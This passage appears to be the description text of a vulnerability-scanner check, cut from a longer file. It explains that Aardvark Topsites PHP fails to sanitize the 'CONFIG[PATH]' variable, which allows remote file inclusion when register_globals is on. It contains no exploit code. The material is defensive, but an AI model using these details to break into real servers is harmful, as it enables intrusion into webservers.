  remote file inclusions attacks.

  Description :

  Aardvark Topsites PHP is installed on the remote host. It is
  an open source Toplist management system written in PHP.

  The application does not sanitize user-supplied input to
  the 'CONFIG[PATH]' variable in some PHP files. This allows
  an attacker to include arbitrary files from remote systems, and
  execute them with privileges under which the webserver operates.

  The flaw is exploitable if PHP's 'register_globals' is set to on.");
